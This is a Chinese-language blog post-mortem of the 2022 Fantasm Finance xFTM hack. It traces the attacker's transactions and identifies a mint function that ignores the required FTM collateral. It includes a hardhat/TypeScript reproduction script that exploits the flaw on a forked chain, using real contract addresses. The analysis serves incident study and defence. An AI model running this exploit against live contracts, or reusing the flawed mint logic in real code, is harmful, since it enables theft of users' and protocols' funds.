# Fantasm Finance被黑分析 **Published by:** [lilizhu](https://paragraph.com/@lilizhu/) **Published on:** 2022-04-21 **URL:** https://paragraph.com/@lilizhu/fantasm-finance ## Content Fantasm Finance被黑分析 2022年3月9日,根据项目方紧急公告,xFTM存在严重漏洞目前已被利用。公告里公布了黑客的地址,黑客利用完漏洞后将获利全部换成了ETH,并跨链至以太坊主网,经笔者统计,黑客获利1007 ETH,折合当时ETH美元价格约为273万美元。 调研 分析攻击和漏洞之前肯定得看看项目是干嘛的,不能一上来就把攻击者的操作步骤就翻译一遍,流水账没意义,所以先来看看项目介绍 Untitled https://docs.fantasticprotocol.io/synthetic-tokens 根据介绍可得知,Fantasm Finance是做合成代币的,xFTM就是这个项目的合成代币,由FTM和FSM这两个币支持,xFTM价格与FTM挂钩。那么如何保证挂钩呢,接着看文档 Untitled Collateral Ratio Fantastic Protocol is using a Collateral Ratio (CR) for Minting and Redeeming process. There will be a minimum Collateral Ratio which is set by governance. Fantastic Protocol 使用抵押比率 (CR) 进行铸造和兑换过程。 将有一个由治理设定的最低抵押比率。 The CR is used by the minting and redeeming function and it is displayed as a percentage. This ratio expresses what percentage of FXM token is required to mint or redeem a FTM token. CR will be adjusted every hour at the step of 0.2% (up or down) For example: ▶️ 60min-TWAP over 1.005 FTM -> CR down ▶️ 60min-TWAP under 0.995 FTM -> CR up At the beginning, the minimum CR is set at 90% https://docs.fantasticprotocol.io/mechanisms/collateral-ratio 抵押比率CR每小时会以0.2%的程度进行调整。 如果60分钟的时间加权平均价格(TWAP)超过1.005倍的FTM,CR上调 如果60分钟的时间加权平均价格(TWAP)低过0.995倍的FTM,CR下调 根据这部分可得知,铸造xFTM的所需要的FTM占比最低为90%,比例随着DEX的预言机报价(xFTM:FTM)浮动,xFTM价格低于1FTM时,占比增加,高于时反之。再继续看 Untitled 为了铸造1个xFTM,系统要求CR个FTM和(1-CR)个FSM,所以铸造公式为: $1 FTM = CR*FTM + (1-CR)*FCM$ 根据上图得知,FTM占比剩余部分由FSM这个币来支撑,例如FTM占比90%,那么FSM就得占比10% https://docs.fantasticprotocol.io/mechanisms/minting-and-redeeming 现在的已经变了 Minting In order to mint 1 FTMX, the system requires 1 FTM and (1 - CR) will be converted to FXM/FTM LP. 为了铸造1个FTMX,系统要求1个FTM,并且(1-CR)会被转化成FXM/FTM LP. For example - CR = 90% and you want to mint 100 FTMX 90 FTM will be deposited into FTM pool reserve and 10 FTM will be converted to FXM/FTM LP (Protocol Owned Liquidity=POL) 分析 根据攻击者的地址: https://ftmscan.com/address/0x47091e015b294b935babda2d28ad44e3ab07ae8d 先记住: 0x47这个是个坏蛋。 找到最初的几笔交易: Untitled 先创建攻击合约 调用攻击合约的getWFTM函数 调用0x671daed9函数 调用Collect函数 创建攻击合约。 下图中标绿色的这一行,创建了一个合约,合约地址为:0x944b58c9b3b49487005cead0ac5d71c857749e3e 请先记住,0x47的坏蛋创建了一个0x94的合约。 调用攻击合约的getWFTM函数 先来看看第2步调getWFTM函数 Untitled 只是将FTM换为WFTM,没啥特别的 第3步的调用先不看,后面再讲,先直接看第4步的调用 Untitled 这笔交易的hash是0xa84d216a1915e154d868e66080c00a665b12dab1dae2862289f5236b70ec2ad9, 将hash放在tenderly中看下具体的调用。 这一步,攻击者直接莫名其妙铸造了2618个xFTM Untitled 而仅仅只是调用了一下Pool合约(https://ftmscan.com/address/0x880672ab1d46d987e5d663fc7476cd8df3c9f937#code)的collect函数 Untitled 根据函数代码,能mint多少xFTM取决于userInfo[_sender].xftmBalance,那么这个变量是怎么变为2618*1e18的呢? 不难想到,是在第3步里完成的,看一下第3步的交易: https://ftmscan.com/tx/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac Untitled 第三步的交易hash为:0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac 可以在tenderly中分析。 这样看看不出来啥,直接丢到tenderly里分析一下: Untitled 前面的不重要,只是将WFTM换为FSM,重点看红框中,调用了Pool合约的mint函数,看了一下,这个合约就是项目的抵押品池子,mint函数的作用就是质押抵押品,铸造xFTM,跟进去看看 Untitled 这一行是计算要铸造多少xFTM,但是看着很奇怪,传进去两个参数_ftmIn和_fantasmIn,_ftmIn是0,_fantasmIn是5.7(之前攻击者用50个WFTM换的),最后得到的结果_xftmOut为2618,正好和前面的第4步对上了。 看下calcMint的参数: /// @param _ftmIn Amount of FTM input. /// @param _fantasmIn Amount of FSM input. /// @return _xftmOut : the amount of XFTM output. /// @return _minFtmIn : the required amount of FSM input. /// @return _minFantasmIn : the required amount of FSM input. /// @return _fee : the fee amount in FTM. function calcMint(uint256 _ftmIn, uint256 _fantasmIn) public view returns ( uint256 _xftmOut, uint256 _minFtmIn, uint256 _minFantasmIn, uint256 _fee ) 输入值分别为:FTM的数量,FSM的数量, 输出值为:可以铸造的 XFTM的数量,所需要的FTM的数量,所需要的FSM的数量,手续费 按官方文档来说,每个xFTM必须由90%以上的FTM支持,这里怎么还能传入0呢,很奇怪,跟进去看看 Untitled 首先是获取报价,这个报价我看了当时的FSM/FTM的行情,报价是没问题的,由于_ftmIn为0,大概率不满足if条件,进入else流程,但是,为什么_xftmOut会是2618呢,我百思不得其解,只能带入真实数值看看 从0x64的交易log中看 Untitled Untitled 在当前 4月20日时的市价下,可以铸造99.7个xFTM,不需要补FSM。 Untitled 如果只投入100个FTM,根据最新的占比,能铸造100.2个xFTM,其中给出了最少需要的FSM数量(_minFantasmIn)0.13,所以还需要补0.13个FSM才能mint。 如果只投入100个FSM呢 Untitled 根据最新的占比,能铸造71664个xFTM,其中给出了最少需要的FTM数量71520…….恍然大悟,原来只投入FSM的话,还是按照FSM的占比来计算的xFTM铸币量,超出FSM占比的部分是需要用FTM来补的,赶紧回头看一下mint函数 Untitled 果然..根据红框内的代码可以看到,竟然把如此重要的_minFtmIn参数给忽略了,甚至都没声明变量,只考虑了需要补FSM的情况(参考第二个红框)………也就是说,当只投入FSM的时候,是不需要补FTM的抵押品的,如果FSM的占比为10%,那么就能用价值1u的FSM铸造价值10u的xFTM。 复现 我这里用hardhat+typescript进行攻击复现,fork区块32971742。 然后编写攻击脚本(attack.ts): async function main() { await hre.network.provider.request({ method: "hardhat_impersonateAccount", params: ["0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400"], }); const signer = await hre.ethers.getSigner("0x9362e8cF30635de48Bdf8DA52139EEd8f1e5d400"); const [attacker] = await hre.ethers.getSigners() const fsm = IERC20__factory.connect("0xaa621d2002b5a6275ef62d7a065a865167914801",attacker); const xFTM = IERC20__factory.connect("0xfbd2945d3601f21540ddd85c29c5c3caf108b96f",attacker); const pool = Pool__factory.connect("0x880672ab1d46d987e5d663fc7476cd8df3c9f937",attacker); console.log("Transfer 100 FSM to attacker.") await (await fsm.connect(signer).transfer(attacker.address, parseUnits("100", 18))).wait() console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18)); console.log("Exploiting...") await (await fsm.approve(pool.address, constants.MaxUint256)).wait() await (await pool.mint(parseUnits("100", 18), 1)).wait() await (await pool.collect()).wait() console.log("Exploit complete.") console.log("xFTM balance of attacker : ",formatUnits(await xFTM.balanceOf(attacker.address),18)); } 脚本很简单,先冒充个账户转点FSM给攻击账户,然后 第一步,直接使用FSM进行mint,不附带msg.value,这样_ftmIn就为0,才会进入else流程 第二步,调用collect把刚刚mint的xFTM领取出来 运行一下看 复现完成,铸造了27808个xFTM,而成本仅仅是100个FSM。 完整的PoC代码已经开源到下方链接,仅供参考: Untitled https://mp.weixin.qq.com/s/o41Da2PJtu7LEcam9eyCeQ 参考 https://dashboard.tenderly.co/tx/fantom/0x64da8b8043b14fe93f7ab55cc56ccca2d190a59836a3f45dbb4b0a832e329cac/debugger?trace=0.5.0 ## Publication Information - [lilizhu](https://paragraph.com/@lilizhu/): Publication homepage - [All Posts](https://paragraph.com/@lilizhu/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@lilizhu): Subscribe to updates